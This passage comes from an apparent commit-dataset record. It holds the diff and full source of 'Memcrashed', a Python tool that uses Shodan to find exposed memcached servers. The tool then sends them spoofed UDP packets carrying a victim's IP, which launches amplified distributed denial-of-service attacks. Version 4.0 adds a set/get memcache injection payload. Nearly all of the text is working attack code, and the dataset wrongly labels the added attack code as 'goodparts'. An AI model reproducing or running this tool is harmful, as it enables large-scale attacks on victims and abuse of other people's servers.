count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n else:\n print('')\n print('[\u2718] Error: %s not engaged!' % target)\n print('[~] Restarting Platform! Please wait.')\n print('')\n else:\n print('')\n print('[\u2718] Error: No bots stored locally or remotely on Shodan!')\n print('[~] Restarting Platform! Please wait.')\n print('')\n\n except shodan.APIError as e:\n print('[\u2718] Error: %s' % e)\n option = input('[*] Would you like to change API Key? : ').lower()\n if option.startswith('y'):\n file = open('api.txt', 'w')\n SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')\n file.write(SHODAN_API_KEY)\n print('[~] File written: ./api.txt')\n file.close()\n print('[~] Restarting Platform! Please wait.')\n print('')\n else:\n print('')\n print('[\u2022] Exiting Platform. Have a wonderful day.')\n break\n"}}, "msg": "Version 4.0\n\nNew feature:\n- New memory injection technique with \"set\" and \"get\" memcache commands\n- Payload now is automatically converted into TWO synchronized payloads,\none is set (allows you to write data onto the affected server), the\nother is get (allows you to retrieve the stored data but sent TO the\ntarget specified)\n\nIssues:\n\nI've discovered that the Scapy module could be a little faulty. Tests\nwere conducted and the memcache server you initially send forged packets\nto do not even receive the data. This could be a firewall issue but also\na scapy issue.\n\n*If someone can test and see if a memcache server can receive the data\non the specified port 11211 by checking via \"get injected\", please open\nan issue and relay your results. Also feel free to fix any errors I\nmight have made in this version. I'll be more than happy to merge your\nfixes."}}, "https://github.com/JustDoIt174/Memcrash": {"caeeef086923f4024b959c416a57d565a7427a78": {"url": "https://api.github.com/repos/JustDoIt174/Memcrash/commits/caeeef086923f4024b959c416a57d565a7427a78", "html_url": "https://github.com/JustDoIt174/Memcrash/commit/caeeef086923f4024b959c416a57d565a7427a78", "message": "Version 4.0\n\nNew feature:\n- New memory injection technique with \"set\" and \"get\" memcache commands\n- Payload now is automatically converted into TWO synchronized payloads,\none is set (allows you to write data onto the affected server), the\nother is get (allows you to retrieve the stored data but sent TO the\ntarget specified)\n\nIssues:\n\nI've discovered that the Scapy module could be a little faulty. Tests\nwere conducted and the memcache server you initially send forged packets\nto do not even receive the data. This could be a firewall issue but also\na scapy issue.\n\n*If someone can test and see if a memcache server can receive the data\non the specified port 11211 by checking via \"get injected\", please open\nan issue and relay your results. Also feel free to fix any errors I\nmight have made in this version. I'll be more than happy to merge your\nfixes.", "sha": "caeeef086923f4024b959c416a57d565a7427a78", "keyword": "command injection issue", "diff": "diff --git a/Memcrashed.py b/Memcrashed.py\nindex 591b177..bf89a6e 100644\n--- a/Memcrashed.py\n+++ b/Memcrashed.py\n@@ -27,7 +27,7 @@ class color:\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n \n Author: @037\n- Version: 3.2\n+ Version: 4.0\n \n ####################################### DISCLAIMER ########################################\n | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n@@ -84,8 +84,15 @@ class color:\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n+ targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n- data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ print('')\n+ data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"\n+ setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))\n+ getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")\n+ print(\"[+] Payload transformed: \", dataset)\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n@@ -112,24 +119,36 @@ class color:\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n", "files": {"/Memcrashed.py": {"changes": [{"diff": "\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n \n Author: @037\n- Version: 3.2\n+ Version: 4.0\n \n ####################################### DISCLAIMER ########################################\n | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n", "add": 1, "remove": 1, "filename": "/Memcrashed.py", "badparts": [" Version: 3.2"], "goodparts": [" Version: 4.0"]}, {"diff": "\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n+ targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n- data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ print('')\n+ data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"\n+ setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))\n+ getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")\n+ print(\"[+] Payload transformed: \", dataset)\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n", "add": 8, "remove": 1, "filename": "/Memcrashed.py", "badparts": [" data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\""], "goodparts": [" targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"", " print('')", " data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"", " if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"", " setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))", " getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")", " print(\"[+] Payload transformed: \", dataset)"]}, {"diff": "\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n", "add": 26, "remove": 14, "filename": "/Memcrashed.py", "badparts": [" if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, i))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % i)", " send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)"], "goodparts": [" if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " print('[+] Sending 2 forged synchronized payloads to: %s' % (i))", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)", " else:", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, i))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % i)", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " print('[+] Sending 2 forged synchronized payloads to: %s' % (i))", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)", " else:", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)"]}], "source": "\n import sys, os, time, shodan from pathlib import Path from scapy.all import * from contextlib import contextmanager, redirect_stdout starttime=time.time() @contextmanager def suppress_stdout(): with open(os.devnull, \"w\") as devnull: with redirect_stdout(devnull): yield class color: HEADER='\\033[0m' keys=Path(\"./api.txt\") logo=color.HEADER +''' \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d Author: @037 Version: 3.2 | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable | | memcached servers. It then allows you to use the same servers to launch widespread | | distributed denial of service attacks by forging UDP packets sourced to your victim. | | Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply | | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. | | I am NOT responsible for any damages caused or any crimes committed by using this tool. | ''' print(logo) if keys.is_file(): with open('api.txt', 'r') as file: SHODAN_API_KEY=file.readline().rstrip('\\n') else: file=open('api.txt', 'w') SHODAN_API_KEY=input('[*] Please enter a valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written:./api.txt') file.close() while True: api=shodan.Shodan(SHODAN_API_KEY) print('') try: myresults=Path(\"./bots.txt\") query=input(\"[*] Use Shodan API to search for affected Memcached servers? : \").lower() if query.startswith('y'): print('') print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) results=api.search('product:\"Memcached\" port:11211') print('[\u2713] API Key Authentication: SUCCESS') print('[~] Number of bots: %s' % results['total']) print('') saveresult=input(\"[*] Save results for later usage? : \").lower() if saveresult.startswith('y'): file2=open('bots.txt', 'a') for result in results['matches']: file2.write(result['ip_str'] +\"\\n\") print('[~] File written:./bots.txt') print('') file2.close() saveme=input('[*] Would you like to use locally stored Shodan data? : ').lower() if myresults.is_file(): if saveme.startswith('y'): with open('bots.txt') as my_file: ip_array=[line.rstrip() for line in my_file] else: print('') print('[\u2718] Error: No bots stored locally, bots.txt file not found!') print('') if saveme.startswith('y') or query.startswith('y'): print('') target=input(\"[\u25b8] Enter target IP address: \") power=int(input(\"[\u25b8] Enter preferred power(Default 1): \") or \"1\") data=input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\" print('') if query.startswith('y'): iplist=input('[*] Would you like to display all the bots from Shodan? : ').lower() if iplist.startswith('y'): print('') counter=int(0) for result in results['matches']: host=api.host('%s' % result['ip_str']) counter=counter+1 print('[+] Memcache Server(%d) | IP: %s | OS: %s | ISP: %s |' %(counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 -((time.time() -starttime) % 1.1)) if saveme.startswith('y'): iplistlocal=input('[*] Would you like to display all the bots stored locally? : ').lower() if iplistlocal.startswith('y'): print('') counter=int(0) for x in ip_array: host=api.host('%s' % x) counter=counter+1 print('[+] Memcache Server(%d) | IP: %s | OS: %s | ISP: %s |' %(counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 -((time.time() -starttime) % 1.1)) print('') engage=input('[*] Ready to engage target %s? : ' % target).lower() if engage.startswith('y'): if saveme.startswith('y'): for i in ip_array: if power>1: print('[+] Sending %d forged UDP packets to: %s' %(power, i)) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % i) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) else: for result in results['matches']: if power>1: print('[+] Sending %d forged UDP packets to: %s' %(power, result['ip_str'])) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) print('') print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.') break else: print('') print('[\u2718] Error: %s not engaged!' % target) print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[\u2718] Error: No bots stored locally or remotely on Shodan!') print('[~] Restarting Platform! Please wait.') print('') except shodan.APIError as e: print('[\u2718] Error: %s' % e) option=input('[*] Would you like to change API Key? : ').lower() if option.startswith('y'): file=open('api.txt', 'w') SHODAN_API_KEY=input('[*] Please enter valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written:./api.txt') file.close() print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[\u2022] Exiting Platform. Have a wonderful day.') break ", "sourceWithComments": "#-- coding: utf8 --\n#!/usr/bin/env python3\nimport sys, os, time, shodan\nfrom pathlib import Path\nfrom scapy.all import *\nfrom contextlib import contextmanager, redirect_stdout\n\nstarttime = time.time()\n\n@contextmanager\ndef suppress_stdout():\n with open(os.devnull, \"w\") as devnull:\n with redirect_stdout(devnull):\n yield\n\nclass color:\n HEADER = '\\033[0m'\n\nkeys = Path(\"./api.txt\")\nlogo = color.HEADER + '''\n\n \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n \u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551\n \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551 \u2588\u2588\u2551\n \u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n\n Author: @037\n Version: 3.2\n\n####################################### DISCLAIMER ########################################\n| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n| memcached servers. It then allows you to use the same servers to launch widespread |\n| distributed denial of service attacks by forging UDP packets sourced to your victim. |\n| Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply |\n| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |\n| I am NOT responsible for any damages caused or any crimes committed by using this tool. |\n###########################################################################################\n \n'''\nprint(logo)\n\nif keys.is_file():\n with open('api.txt', 'r') as file:\n SHODAN_API_KEY=file.readline().rstrip('\\n')\nelse:\n file = open('api.txt', 'w')\n SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')\n file.write(SHODAN_API_KEY)\n print('[~] File written: ./api.txt')\n file.close()\n\nwhile True:\n api = shodan.Shodan(SHODAN_API_KEY)\n print('')\n try:\n myresults = Path(\"./bots.txt\")\n query = input(\"[*] Use Shodan API to search for affected Memcached servers? : \").lower()\n if query.startswith('y'):\n print('')\n print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)\n results = api.search('product:\"Memcached\" port:11211')\n print('[\u2713] API Key Authentication: SUCCESS')\n print('[~] Number of bots: %s' % results['total'])\n print('')\n saveresult = input(\"[*] Save results for later usage? : \").lower()\n if saveresult.startswith('y'):\n file2 = open('bots.txt', 'a')\n for result in results['matches']:\n file2.write(result['ip_str'] + \"\\n\")\n print('[~] File written: ./bots.txt')\n print('')\n file2.close()\n saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower()\n if myresults.is_file():\n if saveme.startswith('y'):\n with open('bots.txt') as my_file:\n 